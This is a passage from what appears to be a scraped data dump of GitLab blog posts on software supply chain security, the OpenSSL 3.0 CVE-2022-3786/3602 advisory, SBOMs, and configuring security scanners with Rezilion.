.note}\n",[14,3043,675],"performance",{"slug":3045,"featured":6,"template":677},"how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days","content:en-us:blog:how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days.yml","How We Boosted Webauthn Adoption From 20 Percent To 93 Percent In 2 Days","en-us/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days.yml","en-us/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days",{"_path":3051,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3052,"content":3058,"config":3064,"_id":3066,"_type":16,"title":3067,"_source":17,"_file":3068,"_stem":3069,"_extension":20},"/en-us/blog/top-challenges-to-securing-the-software-supply-chain",{"title":3053,"description":3054,"ogTitle":3053,"ogDescription":3054,"noIndex":6,"ogImage":3055,"ogUrl":3056,"ogSiteName":767,"ogType":768,"canonicalUrls":3056,"schema":3057},"Top challenges to securing the software supply chain","Learn what organizations should keep in mind while incorporating software supply chain security into their software development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668437/Blog/Hero%20Images/faster-cycle-times.jpg","https://about.gitlab.com/blog/top-challenges-to-securing-the-software-supply-chain","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top challenges to securing the software supply chain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2022-11-07\",\n      }",{"title":3053,"description":3054,"authors":3059,"heroImage":3055,"date":3061,"body":3062,"category":14,"tags":3063},[3060],"Chandler Gibbons","2022-11-07","\nOrganizations are feeling the pressure to integrate security into their software development lifecycles, and federal and industry mandates mean [the days of security as a “nice to have” are officially over](/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment/). Understanding the threats that can emerge across the entire [software supply chain](/blog/gitlab-supply-chain-security/) is integral to this effort. But assembling a complete DevSecOps strategy that governs how code, applications, and infrastructure are protected across the software supply chain is no easy feat.\n\nWhat follows are a few of the biggest challenges that organizations should keep in mind while incorporating software supply chain security into their software development lifecycle.\n\n## The full attack surface is huge\nMost modern cloud-native applications are developed using a multitude of open source and third-party components, creating a tangle of direct and indirect dependencies. But vulnerabilities in open source software, such as the [Log4Shell vulnerability](https://www.cisa.gov/uscert/ncas/alerts/aa21-356a), are only one part of the software supply chain’s full attack surface.\n\nOther potential attack vectors include flaws in in-house code, misconfigured [CI/CD](/topics/ci-cd/) pipelines, secret information inadvertently committed to source code repositories, and even undiscovered vulnerabilities in web APIs. Recognizing all of the ways attackers can exploit the software supply chain is an overwhelming task — in fact, it’s impossible for teams to manually monitor all of these vectors, remediate the threats, and do their day jobs at the same time. DevSecOps teams should be aware of the broad categories of threats to watch out for and the tools and processes, such as version control, multi-factor authentication, and automated security scanning, that are effective at preventing or identifying attacks at each stage of the software supply chain.\n\n## Zero trust is easier said than done\nThe key to ensuring security during each step in the software supply chain is to enforce zero trust: essentially, scrutinizing everything and everyone, whether human, machine, open source component, or application configuration, for potential threats. IBM’s [Cost of a Data Breach 2022 report](https://www.ibm.com/reports/data-breach) found that investments in zero trust are paying off: Organizations that implemented zero trust saved nearly $1 million in average breach costs compared to organizations without zero trust. However, a majority of surveyed organizations had not yet deployed a zero trust security architecture, according to the report. It’s important to remember that [zero trust is not a single product or service](/blog/why-devops-and-zero-trust-go-together/) — it is a strategy applied to a security framework. For securing the software supply chain, that means enforcing zero trust principles at each step in the chain.\n\n## Launching a cyber attack is getting easier\nSoftware supply chain attacks were once the domain of experienced cybercriminals who had the skills to identify and exploit vulnerabilities or to build and inject malicious software code into applications. However, today’s cybercriminals have the benefit of learning from their predecessors. Once a piece of malicious software is out in the world, attackers can reuse and modify it for their own purposes. The [Mirai malware](https://www.csoonline.com/article/3258748/the-mirai-botnet-explained-how-teen-scammers-and-cctv-cameras-almost-brought-down-the-internet.html), for example, continues to live on even after its creators were caught and sentenced in 2018, with new variants emerging each year that continue to pose risks to vulnerable network devices. Today’s hackers also have a broader arsenal of [malicious tools](https://www.cisa.gov/uscert/ncas/alerts/AA18-284A) at their disposal, such as credential stealers and lateral movement tools, that make it easier than ever to launch software supply chain attacks.\n\n## Assess your organization’s threat landscape\nTaking steps to recognize threat vectors in the software supply chain ensures that the software development lifecycle remains an engine of innovation and drives benefits for the business, rather than being a potential backdoor for attackers.\n\n[Download our field guide](https://page.gitlab.com/resources-ebook-guide-to-threat-vectors.html) to better understand the types of threat vectors that can emerge at each stage of the software supply chain and how to mitigate those risks.\n",[14,958],{"slug":3065,"featured":6,"template":677},"top-challenges-to-securing-the-software-supply-chain","content:en-us:blog:top-challenges-to-securing-the-software-supply-chain.yml","Top Challenges To Securing The Software Supply Chain","en-us/blog/top-challenges-to-securing-the-software-supply-chain.yml","en-us/blog/top-challenges-to-securing-the-software-supply-chain",{"_path":3071,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3072,"content":3078,"config":3083,"_id":3085,"_type":16,"title":3086,"_source":17,"_file":3087,"_stem":3088,"_extension":20},"/en-us/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them",{"title":3073,"description":3074,"ogTitle":3073,"ogDescription":3074,"noIndex":6,"ogImage":3075,"ogUrl":3076,"ogSiteName":767,"ogType":768,"canonicalUrls":3076,"schema":3077},"New OpenSSL 3.0 vulnerabilities: What you need to know to find and fix them","Learn how to identify your risk for CVE-2022-3786 and CVE-2022-3602.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679348/Blog/Hero%20Images/locks.jpg","https://about.gitlab.com/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New OpenSSL 3.0 vulnerabilities: What you need to know to find and fix them\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2022-11-01\",\n      }",{"title":3073,"description":3074,"authors":3079,"heroImage":3075,"date":3080,"body":3081,"category":14,"tags":3082},[2464],"2022-11-01","\n\nThe OpenSSL Project [announced two vulnerabilities](https://www.openssl.org/blog/blog/email-address-overflows/) found in OpenSSL 3.0-3.0.6 ([first released in September 2021](https://www.openssl.org/blog/blog/OpenSSL3.Final/)). CVE-2022-3786 and CVE-2022-3602 both relate to X.509 email address buffer overflows and require users to upgrade to OpenSSL 3.0.7, which includes patches for the vulnerabilities, which were downgraded from “critical” to “high.”\n\nOpenSSL is an open-source library used by applications to secure communications over the internet with the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols.\n\n## What are the OpenSSL 3.0 vulnerabilities?\n\nCVE-2022-3786 concerns an X.509 email address variable length buffer overflow that can result in a denial of service attack. CVE-2022-3602 concerns X.509 email address 4-byte buffer overflow that could result in a denial of service that could potentially escalate to remote code execution under specific circumstances (the circumstances were not detailed).\n\nCVE-2022-3602 was initially announced by the OpenSSL Project as a critical severity vulnerability, but was downgraded to high severity due to unlikely exploitation in “common conditions.”\n\n## How do the vulnerabilities work?\n\nAccording to the [OpenSSL bulletin](https://www.openssl.org/news/secadv/20221101.txt): “A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs\nafter certificate chain signature verification and requires either a\nCA to have signed the malicious certificate or for the application to\ncontinue certificate verification despite failure to construct a path\nto a trusted issuer. An attacker can craft a malicious email address\nto overflow four attacker-controlled bytes on the stack. This buffer\noverflow could result in a crash (causing a denial of service) or\npotentially remote code execution.\n\n\"Many platforms implement stack overflow protections which would mitigate\nagainst the risk of remote code execution. The risk may be further\nmitigated based on stack layout for any given platform/compiler...\n\n\"In a TLS client, this can be triggered by connecting to a malicious\nserver. In a TLS server, this can be triggered if the server requests\nclient authentication and a malicious client connects.”\n\n## Is your organization at risk?\n\nOnly applications that use OpenSSL 3.0 are at risk. To assess if your software supply chain is vulnerable, use GitLab’s [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/).\n\nAccording to the [OpenSSL Security Team](https://www.openssl.org/blog/blog/email-address-overflows/): “The bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1, and other earlier versions are not affected.”\n\n## Is GitLab vulnerable?\n\nWe have investigated and, as of now, we have found that none of our production systems were impacted by the vulnerability. \n\nHowever, our Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) analyzer included the vulnerable library, which we have patched in [DAST v3.0.32](https://gitlab.com/gitlab-org/security-products/dast/-/releases/v3.0.32). Self-managed customers that are using our built-in DAST CI template after 15.0 can get the latest release from `registry.gitlab.com`. If using [the `always` pull policy](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy) the update will occur automatically. GitLab.com is already running the updated DAST scanner.\n\n## How to mitigate the vulnerability risk\n\nTo fix the flaws found in OpenSSL 3.0, organizations must upgrade to OpenSSL 3.0.7.\n\n",[14,958,798],{"slug":3084,"featured":6,"template":677},"new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them","content:en-us:blog:new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them.yml","New Openssl 30 Vulnerabilities What You Need To Know To Find And Fix Them","en-us/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them.yml","en-us/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them",{"_path":3090,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3091,"content":3097,"config":3103,"_id":3105,"_type":16,"title":3106,"_source":17,"_file":3107,"_stem":3108,"_extension":20},"/en-us/blog/the-ultimate-guide-to-sboms",{"title":3092,"description":3093,"ogTitle":3092,"ogDescription":3093,"noIndex":6,"ogImage":3094,"ogUrl":3095,"ogSiteName":767,"ogType":768,"canonicalUrls":3095,"schema":3096},"The ultimate guide to SBOMs","Learn what a software bill of materials is and why it has become an integral part of modern software development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664571/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","https://about.gitlab.com/blog/the-ultimate-guide-to-sboms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to SBOMs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-10-25\",\n      }",{"title":3092,"description":3093,"authors":3098,"heroImage":3094,"date":3099,"body":3100,"category":14,"tags":3101,"updatedDate":3102},[3019],"2022-10-25","In today's rapidly evolving digital landscape, the emphasis on application security within the software supply chain has never been more critical. The integration of upstream dependencies into software requires transparency and security measures that can be complex to implement and manage. This is where a software bill of materials (SBOM) becomes indispensable.\n\nServing as a comprehensive list of ingredients that make up software components, an SBOM illuminates the intricate web of libraries, tools, and processes used across the development lifecycle. Coupled with vulnerability management tools, an SBOM not only reveals potential vulnerabilities in software products but also paves the way for strategic risk mitigation. Our guide dives deep into SBOMs, their pivotal role in a multifaceted [DevSecOps](/topics/devsecops/) strategy, and strategies for improving your application's SBOM health — all aimed at fortifying your organization's cybersecurity posture in a landscape full of emerging threats.\n\nYou'll learn:\n- [What is an SBOM?](#what-is-an-sbom%3F)\n- [Why SBOMs are important](#why-sboms-are-important)\n- [Types of SBOM data exchange standards](#types-of-sbom-data-exchange-standards)\n- [Benefits of pairing SBOMs and software vulnerability management](#benefits-of-pairing-sboms-and-software-vulnerability-management)\n- [GitLab and dynamic SBOMs](#gitlab-and-dynamic-sboms)\n    - [Scale SBOM generation and management](#scale-sbom-generation-and-management)\n    - [Ingest and merge SBOMs](#ingest-and-merge-sboms)\n    - [Accelerate mitigation for better SBOM health](#accelerate-mitigation-for-better-sbom-health)\n    - [Continuous SBOM analysis](#continuous-sbom-analysis)\n    - [Building trust in SBOMs](#building-trust-in-sboms)\n - [The future of GitLab SBOM functionality](#the-future-of-gitlab-sbom-functionality)\n - [Get started with SBOMs](#get-started-with-sboms)\n - [SBOM FAQ](#sbom-faq)\n\n## What is an SBOM?\n\nAn SBOM is a nested inventory or [list of ingredients that make up software components](https://www.cisa.gov/sbom#). In addition to the components themselves, SBOMs include critical information about the libraries, tools, and processes used to develop, build, and deploy a software artifact.\n\nThe SBOM concept has existed [for more than a decade](https://spdx.dev/about/). However, as part of an effort to implement the National Cyber Strategy that the White House released in 2023, [CISA’s Secure by Design framework](https://www.cisa.gov/securebydesign) is helping guide software manufacturers  to adopt secure-by-design principles and integrate cybersecurity into their products. The U.S. government [issued best practices](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) that are driving application developers selling to the public sector to include SBOMs with their software packages. The private sector is not far behind, sending SBOMs on the path to ubiquity. \n\nAlthough SBOMs are often created with stand-alone software, platform companies like GitLab are integrating SBOM generation early and deep in the DevSecOps workflow.\n\n![supply chain security sdlc](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/supply_chain_security_sdlc.png)\n\n## Why SBOMs are important\n\nModern software development is laser-focused on delivering applications at a faster pace and in a more efficient manner. This can lead to developers incorporating code from open source repositories or proprietary packages into their applications.  According to Synopsys’s 2024 Open Source Security and Risk Analysis report, which consolidated findings from more than 1,000 commercial codebases across 17 industries in 2023, 96% of the total codebases contained open source and 84% of codebases assessed for risk contained vulnerabilities.\n\nPulling in code from unknown repositories increases the potential for vulnerabilities that can be exploited by hackers. In fact, the [2020 SolarWinds attack](https://www.techtarget.com/whatis/feature/SolarWinds-hack-explained-Everything-you-need-to-know) was sparked by the activation of a malicious injection of code in a package used by SolarWinds’ Orion product. Customers across the software supply chain were significantly impacted. Other attacks, including the log4j vulnerability that impacted a number of commercial software vendors, cemented the need for a deep dive into application dependencies, including containers and infrastructure, to be able to assess [risk throughout the software supply chain](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/).\n\nThere is also a cost component to finding and remediating a software security vulnerability that levels up the need for SBOMs, as well as damage to a company’s reputation that a software supply chain attack can incur. SBOMs give you insight into your dependencies and can be used to look for vulnerabilities, and licenses that don’t comply with internal policies.\n\n## Types of SBOM data exchange standards\n\nSBOMs work best when their generation and interpretation of information such as name, version, packager, and more are able to be automated. This happens best if all parties use a standard data exchange format.\n\nThere are two main types of SBOM data exchange standards in use today:\n- [OWASP CycloneDX](https://cyclonedx.org/capabilities/sbom/)\n- [SPDX](https://spdx.dev/)\n\nGitLab uses CycloneDX for its SBOM generation because the standard is prescriptive and user-friendly, can simplify complex relationships, and is extensible to support specialized and future use cases. In addition, [cyclonedx-cli](https://github.com/CycloneDX/cyclonedx-cli#convert-command) and [cdx2spdx](https://github.com/spdx/cdx2spdx) are open source tools that can be used to convert CycloneDX files to SPDX if necessary.\n\n## Benefits of pairing SBOMs and software vulnerability management\n\nSBOMs are highly beneficial for DevSecOps teams and software consumers for several reasons:\n* They enable a standard approach to understanding what additional software components are in an application and where they are declared.\n* They provide ongoing visibility into the history of an application’s creation, including details about third-party code origins and host repositories.\n* They provide a deep level of security transparency into both first-party developed code and adopted open source software.\n* The details that SBOMs offer enable a DevOps team to identify vulnerabilities, assess the potential risks, and then mitigate them. \n* SBOMs can deliver the transparency that application purchasers now demand.\n\n## GitLab and dynamic SBOMs\n\nFor SBOMs to be fully impactful, organizations must be able to automatically generate them, connect them with application security scanning tools, integrate the vulnerabilities and licenses into a dashboard for easy comprehension and actionability, and update them continuously. GitLab supports all of these goals.\n\n![Dynamic SBOM management](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/Screenshot_2024-05-03_at_10.53.28_AM.png)\n\n### Scale SBOM generation and management\nTo comply with internal policies and regulations, it is key to have accurate and comprehensive SBOMs that cover open source, third-party, and proprietary software. To effectively manage SBOMs for each component and product version, a streamlined process is required for creating, merging, validating and approving SBOMs. GitLab’s [Dependency List feature](https://docs.gitlab.com/ee/user/application_security/dependency_list/) aggregates known vulnerability and license data into a single view within the GitLab user interface. Dependency graph information is also generated as part of the dependency scanning report. This empowers users to gain comprehensive insights into dependencies and risk within their projects or across groups of projects. Additionally, a JSON CycloneDX formatted artifact can be produced in the CI pipeline. This API introduces a more nuanced and customizable approach to SBOM generation. SBOMs are exportable from the UI, a specific pipeline or project, or via the GitLab API. \n\n### Ingest and merge SBOMs\nGitLab can ingest third-party SBOMs, providing a deep level of security transparency into both third-party developed code and adopted open source software. With GitLab, you can use a [CI/CD](https://about.gitlab.com/topics/ci-cd/) job to seamlessly merge multiple CycloneDX SBOMs into a single SBOM. Using implementation-specific details in the CycloneDX metadata of each SBOM, such as the location of build and lock files, duplicate information is removed from the resulting merged file. This data is also augmented automatically with license and vulnerability information for the components inside the SBOM.\n\n### Accelerate mitigation for better SBOM health\nBuilding high-quality products faster requires actionable security findings so developers can address the most critical weaknesses. GitLab helps secure your supply chain by [scanning for vulnerabilities](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html) in source code, containers, dependencies, and running applications. GitLab offers full security scanner coverage from Static Application Security Testing (SAST), Dynamic Application Security Testing (DAST), container scanning, and software composition analysis (SCA) features to help you achieve full coverage against emerging threat vectors.\nTo help developers and security engineers better understand and remediate vulnerabilities more efficiently, [GitLab Duo](https://about.gitlab.com/gitlab-duo/) Vulnerability Explanation, an AI-powered feature, provides an explanation about a specific vulnerability, how it can be exploited, and, most importantly, a recommendation on how to fix the vulnerability. When combined with GitLab Duo Vulnerability Resolution, DevSecOps teams can intelligently identify, analyze, and fix vulnerabilities in just a matter of clicks.\n\nThe platform also supports creation of new policies (and [compliance enforcement](https://docs.gitlab.com/ee/administration/compliance.html)) based on newly detected vulnerabilities. \n\n### Continuous SBOM analysis \nGitLab Continuous Vulnerability Scanning triggers a scan on all projects where either container scanning, dependency scanning, or both, are enabled independent of a pipeline.  When new Common Vulnerabilities and Exposures (CVEs) are reported to the National Vulnerability Database (NVD), users don’t need to re-run their pipelines to get the latest feeds. GitLab’s Vulnerability Research Team adds them to GitLab’s Advisory Database and those advisories are automatically reported up to GitLab as vulnerabilities. This makes GitLab’s SBOM truly dynamic in nature. \n\n### Building trust in SBOMs\nOrganizations that require [compliance functionality](https://about.gitlab.com/solutions/compliance/) can use GitLab to [generate attestation for all build artifacts](/blog/securing-the-software-supply-chain-through-automated-attestation/) produced by the GitLab Runner. The process is secure because it is produced by the GitLab Runner itself with no handoff of data to an external service.\n\n## The future of GitLab SBOM functionality\n\nSoftware supply chain security continues to be a critical topic in the cybersecurity and software industry due to frequent attacks on large software vendors and the focused efforts of attackers on the open source software ecosystem. And although the SBOM industry is evolving quickly, there are still concerns around how SBOMs are generated, the frequency of that generation, where they are stored, how to combine multiple SBOMs for complex applications, how to analyze them, and how to leverage them for application health.\n\nGitLab has made SBOMs an integral part of its [software supply chain direction](https://about.gitlab.com/direction/supply-chain/) and continues to improve upon its SBOM capabilities within the DevSecOps platform, including planning new features and functionality. Recent enhancements to SBOM capabilities include the automation of attestation, digital signing for build artifacts, and support for externally generated SBOMs.\n\nGitLab has also established a robust [SBOM Maturity Model](https://handbook.gitlab.com/handbook/security/security-assurance/dedicated-compliance/sbom-plan/) within the platform that involves steps such as automatic SBOM generation, sourcing SBOMs from the development environment, analyzing SBOMs for artifacts, and advocating for the digital signing of SBOMs. GitLab also plans to add automatic digital signing of build artifacts in future releases. \n\n## Get started with SBOMs\n\nThe demand for SBOMs is already high. Government agencies increasingly recommend or require SBOM creation for software vendors, federal software developers, and even open source communities.\n\n> To get ahead of this requirement, check out the SBOM capabilities for GitLab Ultimate in [GitLab’s DevSecOps platform](https://gitlab.com/-/trials/new).\n\n## SBOM FAQ\n\n**What is an SBOM?**\n\nAn SBOM is a detailed inventory that lists all components, libraries, and tools used in creating, building, and deploying software. This comprehensive list goes beyond mere listings to include vital information about code origins, thus promoting a deeper understanding of an application's makeup and potential vulnerabilities.\n\n**Why are SBOMs important?**\n\nSBOMs are crucial for several reasons. They provide:\n- Insight into dependencies: Understanding what makes up your software helps identify and mitigate risks associated with third-party components.\n- Enhanced security: With detailed visibility into application components, organizations can pinpoint vulnerabilities quickly and take steps to address them.\n- Regulatory compliance: Increasingly, regulations and best practices recommend or require an SBOM for software packages, particularly for those in the public sector.\n- Streamlined development: Developers can lean on an SBOM for insights into used libraries and components, saving time and reducing errors in the development cycle.\n\n**What standards are used for SBOM data exchange?**\n\nThere are two predominant standards:\n- CycloneDX: Known for its user-friendly approach, CycloneDX simplifies complex relationships between software components and supports specialized use cases.\n- SPDX: Another widely used framework for SBOM data exchange, providing detailed information about components within the software environment.\n\nGitLab specifically employs CycloneDX for its SBOM generation because of its prescriptive nature and extensibility to future needs.\n\n**What is GitLab’s approach to SBOMs?**\n\nGitLab emphasizes the creation of dynamic SBOMs that can be:\n- Automatically generated: Ensuring up-to-date information on software composition.\n- Integrated with tools: Connecting to vulnerability scanning tools for thorough risk assessment.\n- Easily managed: Supporting ingestion and merging of SBOMs for comprehensive analysis.\n- Continuously analyzed: Offering ongoing scanning of projects to detect new vulnerabilities as they emerge.\n\n**How can I start implementing SBOMs in my organization?**\n\nFor organizations ready to adopt SBOMs, GitLab’s Ultimate package provides a robust platform for generating and managing SBOMs within a DevSecOps workflow. By leveraging GitLab’s tools, teams can ensure compliance, enhance security, and optimize development practices.\n\nThe increasing demand for SBOMs reflects the growing emphasis on software security and supply chain integrity. By integrating SBOM capabilities, organizations can better protect themselves against vulnerabilities and comply with emerging regulations.\n\n> [Try GitLab Ultimate free for 30 days today.](https://about.gitlab.com/free-trial/devsecops/)\n\n_Disclaimer This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[14,776,3043,958,184],"2024-05-02",{"slug":3104,"featured":6,"template":677},"the-ultimate-guide-to-sboms","content:en-us:blog:the-ultimate-guide-to-sboms.yml","The Ultimate Guide To Sboms","en-us/blog/the-ultimate-guide-to-sboms.yml","en-us/blog/the-ultimate-guide-to-sboms",{"_path":3110,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3111,"content":3117,"config":3123,"_id":3125,"_type":16,"title":3126,"_source":17,"_file":3127,"_stem":3128,"_extension":20},"/en-us/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion",{"title":3112,"description":3113,"ogTitle":3112,"ogDescription":3113,"noIndex":6,"ogImage":3114,"ogUrl":3115,"ogSiteName":767,"ogType":768,"canonicalUrls":3115,"schema":3116},"Meet the demand for SBOMs with GitLab and Rezilion","Learn the role of SBOMs in helping to secure your software supply chain and how to generate them with the GitLab + Rezilion integration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672849/Blog/Hero%20Images/jessica-lewis-fJXv46LT7Xk-unsplash.jpg","https://about.gitlab.com/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet the demand for SBOMs and supply chain security with GitLab and Rezilion\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-10-17\",\n      }",{"title":3118,"description":3113,"authors":3119,"heroImage":3114,"date":3120,"body":3121,"category":14,"tags":3122},"Meet the demand for SBOMs and supply chain security with GitLab and Rezilion",[856],"2022-10-17","\nModern software development often takes advantage of code reuse. Instead of reinventing the wheel, developers can use a library that focuses on a particular\nfunction for use in an application. However, there is one caveat: These\ndependencies may be susceptible to security vulnerabilities, which may render\nyour whole application – and possibly your software supply chain – as vulnerable.\n\nThat is why DevOps teams must be able to generate a software bill of materials, or [SBOM](https://docs.gitlab.com/ee/user/application_security/dependency_list/). GitLab has partnered with [Rezilion](/partners/technology-partners/#rezilion) to make this task easier.\n\n## The need for SBOMs\n\nIn 2020, the [Solar Winds software supply chain attack happened](https://www.businessinsider.com/solarwinds-hack-explained-government-agencies-cyber-security-2020-12). Hackers used an easy-to-guess password to inject malicious\ncode into a software update and many users of the affected Solar Winds product\nOrion, including government agencies, had their data compromised.\n\nThis breach, along with other high-profile attacks, led Pres. Biden's administration to [require software vendors to deliver a software bill of materials (SBOM)](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) with any software offer they make to federal agencies.\n\n## Secure your software and manage vulnerabilities\n\nTo get started with software supply chain security, you need to not only implement security scanning, but\nalso have a process in place to manage and effectively triage these vulnerabilities.\n\nBelow, you can see the typical software development lifecycle. It shows that security scans are run on a feature branch. A developer can view the presented vulnerabilities and continue to commit to the feature branch which re-runs the scans.\n\nOnce the vulnerabilities have been remediated the feature branch can be merged. If vulnerabilities are still present, [approval](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) by the security team can be required, and you can continue to keep track of the vulnerability with a [confidential issue](https://docs.gitlab.com/ee/user/project/issues/confidential_issues.html).\n\n![](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/sdlc.png)\n\nLet's go over how to do the following:\n\n* Implement security scanners in GitLab with built-in templates\n* Manage vulnerabilities with the GitLab vulnerability report\n* Manage dependencies and generate an SBoM\n* Efficiently triage exploitable vulnerabilities with Rezilion\n\n## Implement security scanners\n\nThe first step in securing your software supply chain is to implement [security scanners](https://docs.gitlab.com/ee/user/application_security/configuration/#security-testing) into your CI/CD pipeline.\nThese scanners should be set up in a way, where they run on each code commit. When a vulnerability is detected, approval by a security team member should be required.\n\nGitLab offers many different security scanners to get you started:\n\n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n* [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n* [Coverage-Guided Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)\n* [Web-API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n* [Secret Detection](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n\nWith the scanners running in a pipeline, static application source code is scanned, as well as dependencies and the\nrunning application itself.\n\nThese scanners can be implemented by simply adding templates to your [GitLab CI YAML](https://docs.gitlab.com/ee/user/application_security/sast/index.html#configure-sast-manually). You can also use the [Configuration UI](https://docs.gitlab.com/ee/user/application_security/sast/index.html#configure-sast-in-the-ui-with-customizations)\nto set up and configure these security scanners. You can check out the set up instructions for each scanner in the [GitLab appsec configuration documentation](https://docs.gitlab.com/ee/user/application_security/configuration/#security-testing).\n\n## Manage vulnerabilities\n\nNext up, see how to use GitLab to manage vulnerabilities. GitLab provides a single source of truth that allows developers and\nappsec engineers to collaborate and address issues together. After the security scanners have been implemented, there are a\nfew ways to manage vulnerabilities.\n\nDevelopers will use the MR view to see all the vulnerabilities present in the **diff** between the **feature branch** and the **branch you are merging with**.\n\nYou can see below, that each vulnerability is presented in an easy-to-read view: \n\n![Life cycle illustration](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/mr-view.png)\n\nWhen you click on a vulnerability, you can see details such as:\n\n* Status\n* Description\n* Evidence\n* Severity\n* Identifiers\n* Linked Issues\n* Solution\n* Security Training\n\nThe vulnerabilities are also actionable which means they can be dismissed or a confidential issue can be created to triage later.\n\n![Screenshot of vulnerabilities](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/mr-view-2.png)\n\nThen there is the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) which displays all the vulnerabilities detected within the **main** branch and allows for the\nsecurity team to triage and address vulnerabilities from a common interface, enabling collaboration.\n\n![Detailed view of vulnerability](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/vr-1.png)\n\nOnce you click on a vulnerability, you are provided with [advanced details](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) on the vulnerability as well as how to remediate it.\n\n![Vulnerability report](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/vr-2.png)\n![Remediation suggestions](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/vr-3.png)\n\nAn appsec engineer can change the status, add additional information, and create confidential issues from this view.\n\n## Manage dependencies\n\nNow that you have seen how to run security scans on your application, as well as manage vulnerabilities, let's explore managing our \napplication's dependencies and understanding what is running on your system.\n\nThere are a few ways of managing dependencies and generating an SBoM. I'll go over\nthe GitLab Dependency List (SBoM) as well as the dynamic Rezilion SBoM.\n\n### GitLab Dependency List (SBoM)\n\nGitLab provides a [Dependency List](https://docs.gitlab.com/ee/user/application_security/dependency_list/) also known as an SBoM.\nThe dependency list contains your project’s dependencies and critical details about those dependencies, including their known vulnerabilities.  GitLab displays dependencies with the following information:\n\n| Field\t| Description |\n| ----- | ----------- |\n| Component\t| The dependency’s name and version. |\n| Packager |\tThe packager used to install the dependency. |\n| Location |\tFor system dependencies, this lists the image that was scanned. For application dependencies, this shows a link to the packager-specific lock file in your project that declared the dependency. It also shows the dependency path to a top-level dependency, if any, and if supported. |\n| License\t| Links to the dependencies' software licenses. |\n\nYou can download your project’s full list of dependencies and their details in [CycloneDX](https://cyclonedx.org/) JSON format. CycloneDX is a lightweight SBoM standard designed for use in application security contexts and supply chain component analysis. See 